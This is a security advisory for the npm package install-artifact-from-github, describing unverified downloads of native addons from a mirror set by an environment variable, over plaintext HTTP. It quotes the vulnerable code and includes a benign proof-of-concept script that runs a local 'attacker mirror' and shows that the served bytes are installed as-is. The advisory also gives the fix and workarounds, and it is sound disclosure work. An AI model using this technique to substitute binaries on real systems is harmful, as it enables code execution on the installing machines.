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GHSA-88q3-gch3-5396

HighCVSS 7.5 / 10
Published Nov 18, 2026·Last modified Nov 18, 2026
Affected Components(1)
npm logoinstall-artifact-from-github
< 1.7.0
Description

Description

bin/install-from-cache.js downloads a prebuilt native addon (*.node) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for createHash|sha256|checksum|integrity|digest|signature finds nothing. The file is then require()-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.

Affected code (v1.6.0)

  • Mirror is fully attacker-steerable via an env var, no host pinning — bin/install-from-cache.js:80:

    let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';
    

    re2 passes --host-var RE2_DOWNLOAD_MIRROR, so setting RE2_DOWNLOAD_MIRROR (CI config, .npmrc/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.

  • The write sink is a bare writeFile, no verification — bin/install-from-cache.js:185-187:

    const write = async (name, data) => {
      await fsp.mkdir(path.dirname(name), {recursive: true});
      await fsp.writeFile(name, data);   // `data` is the raw HTTP response body
    };
    
  • Cleartext transfer + silent protocol downgrade on redirect — bin/install-from-cache.js:155,165:

    const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null;   // http:// supported
    ...
    get(res.headers.location).then(resolve, reject);   // re-derives protocol from the NEW url
    

    An https:// asset that 302-redirects to http:// is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.

The post-download "verification" is not an integrity gate

isVerified() optionally runs npm run verify-build / npm test after writing the file. For re2, scripts/verify-build.js require()s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any npm_config_platform* env var is set (:120-122).

Proof of concept

A self-contained, non-malicious PoC (poc.js) proves the missing-integrity property against the real install-from-cache, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs install-from-cache with RE2_DOWNLOAD_MIRROR pointed at it, and shows the served bytes are written verbatim to build/Release/re2.node:

npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js
attacker mirror (plaintext http) on 127.0.0.1:PORT
  [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served   sha256: ec6fdde6...4ebc
written  sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them

The install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real .node executes on require() (NAPI/NODE_MODULE init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)

Attack scenarios (any one suffices)

  • Attacker-configured or later-compromised RE2_DOWNLOAD_MIRROR.
  • Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.
  • On-path attacker where a plaintext (http://) mirror or an https→http redirect is in play.

Suggested fix

  1. Publish per-release SHASUMS256.txt (or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the model prebuild-install already uses.)
  2. Reject http:// asset URLs and https→http redirect downgrades; pin scheme across redirects; cap redirect count/hosts.
  3. Document that verify-build/test run after load and cannot gate integrity.

PoC

poc.js:

// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.
//
// Run:  IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
//       (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');

const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');

const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
  name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
  scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));

const server = http.createServer((req, res) => {
  process.stdout.write(`  [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
  res.writeHead(200, { 'content-type': 'application/octet-stream' });
  res.end(SENTINEL);
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;
  console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
  const child = spawn('node', [IAFG,
    '--artifact', 'build/Release/re2.node',
    '--host-var', 'RE2_DOWNLOAD_MIRROR',
    '--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
    '--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
    cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
    env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
      npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
      npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
  });
  child.on('exit', (code) => {
    server.close();
    console.log('install-from-cache exit:', code);
    const artifact = path.join(work, 'build/Release/re2.node');
    if (fs.existsSync(artifact)) {
      const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
      console.log('served   sha256:', servedSha);
      console.log('written  sha256:', writtenSha);
      console.log(servedSha === writtenSha
        ? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
        : '✗ sha mismatch');
    } else {
      console.log('✗ artifact not written (check IAFG_BIN path)');
    }
    fs.rmSync(work, { recursive: true, force: true });
  });
});

Patches

Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an artifactHashes map (slot → sha256:<hex> of the decompressed binary) in its own package.json — immutable once on npm, stamped at publish time by the new hash-github-cache --write bin (e.g. wired as prepublishOnly). install-from-cache now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default github.com source — an explicitly configured mirror (--host / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an https→http transport downgrade on the default path is also defeated by content verification.

Note: verification activates only when the consuming package ships an artifactHashes bag; packages without one behave as before (backward-compatible, zero-config default). node-re2 >= 1.26.0 publishes a stamped bag.

Workarounds

On <= 1.6.0: skip downloading entirely and build from source via the documented dev short-circuit (DEVELOPMENT_SKIP_GETTING_ASSET env var, or a .development file). 1.7.0 adds first-class --force-build / DOWNLOAD_FORCE_BUILD for the same effect. In all versions, never point a mirror variable (e.g. RE2_DOWNLOAD_MIRROR) at a host you do not fully control.

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Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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